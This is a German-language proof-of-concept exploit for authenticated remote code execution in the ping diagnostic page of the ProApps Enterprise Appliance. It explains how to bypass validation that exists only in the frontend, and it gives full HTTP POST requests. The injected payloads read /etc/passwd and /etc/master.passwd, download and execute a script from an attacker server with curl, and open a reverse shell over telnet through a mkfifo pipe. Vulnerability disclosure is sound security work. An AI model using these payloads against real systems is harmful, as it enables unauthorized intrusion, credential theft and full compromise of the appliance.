
Proof-of-Concept-Exploit für authentifizierte Remote-Code-Ausführung durch Befehlseinschleusung in der Ping-Funktionalität von ProApps Enterprise Appliance, mit Reverse-Shell-Payload und Umgehung clientseitiger Bereinigung.
Product Vendor: freebsdbrasil
Item: ProApps - Enterprise Appliance
Editor Creator: DreamWeaver
PHP: PHP Version 7.3.18
Java Script Library: Jquery UI 1.6 | Jquery 1.2.6
Server: NGINX
Operational System: FreeBDS Unix
Remote-Codeausführung
Die Schwachstelle tritt auf, weil ein Benutzer über die Ping-Funktionalität Systembefehle in die Anwendung einschleusen kann, indem er einen Befehlskettenoperator in Unix-Umgebungen hinzufügt, wie z. B. (;, && oder |). Um die Schwachstelle auszunutzen, ist eine Authentifizierung erforderlich. Der Benutzer muss einer Berechtigungsgruppe namens 'Status' angehören und die Berechtigung 'Modified' besitzen. Es ist auch wichtig zu erwähnen, dass eine erfolgreiche Ausnutzung die Umgehung der Eingabebereinigung erfordert. Die Anwendung validiert Benutzereingaben nur auf der Frontend-Seite, sodass es notwendig ist, die Anfrage beispielsweise über einen Netzwerk-Proxy zu senden. Auf diese Weise werden die von der Anwendung auferlegten Einschränkungen umgangen.
Nach der Authentifizierung muss eine Seite namens sta_rede.diagnostico_ping aufgerufen werden (http(s)://vulnerablepage.index.php?page=sta_rede.diagnostico_ping&task=view).
Diese Seite bietet eine Funktion zur Durchführung einer ICMP-Anfrage an einen beliebigen Host. Weitere Informationen zum Ping-Dienstprogramm und zum ICMP-Protokoll (Request und Reply) finden Sie im RFC, der im Abschnitt Referenzen genannt wird.
Die Anwendung sendet eine POST-Anfrage mit den Parametern host, testar_pacote und ttl, wobei host das Ziel des Pings ist, testar_pacote die Anzahl der zu sendenden ICMP-Anfragen angibt und TTL die Time to Live (TTL) für die Pakete ist. Nach dem Senden der Anfrage führt die Anwendung den folgenden Befehl auf dem Unix-System aus: ping -c $testar_pacote $host. Nachfolgend ist die POST-Anfrage, die die Funktionalität demonstriert:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8&testar_pacote=1&ttl=64
Hier zeigt sich ein Angriffsvektor. Ein Benutzer kann die Schwachstelle ausnutzen, indem er eine bösartige POST-Anfrage über einen Netzwerk-Proxy sendet, um die Eingabebereinigung zu umgehen, indem er einen der Befehlskettenoperatoren (;, && oder |) an den Parameter host anhängt. Die Webanwendung führt dann den oben genannten Ping-Befehl gefolgt von einem zusätzlichen Befehl aus. Dies könnte beispielsweise das Lesen sensibler Dateien wie /etc/passwd, /etc/master.passwd oder das Erlangen einer Reverse Shell oder das Ausführen beliebiger Befehle umfassen.
Das folgende POST ist ein manipuliertes und bösartiges Beispiel:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8; cat /etc/passwd;cat /etc/master.passwd&testar_pacote=1&ttl=64
HTTP-POST-Anfrage an sta_rede.diagnostico_ping:
page=sta_rede.diagnostico_ping&host=x.x.x.x;curl -O http://attackserver/maliciousfile.sh; chmod +x maliciousfile.sh; ./maliciousfile.sh&testar_pacote=1&ttl=64
TF=$(mktemp -u);mkfifo $TF && telnet $attacker.ip $attacker.port 0<$TF | sh 1>$TF
Durch Abhören des angegebenen Ports mit Netcat wird erfolgreich eine Reverse-Shell geöffnet.
RCE-Schwachstellen (Remote Code Execution) erlauben einem Angreifer, beliebigen Code auf einem entfernten Gerät auszuführen. Dies kann zu einer vollständigen Systemkompromittierung, Datenverletzung, lateraler Bewegung, Malware-Bereitstellung sowie zu Reputations- und finanziellen Schäden führen.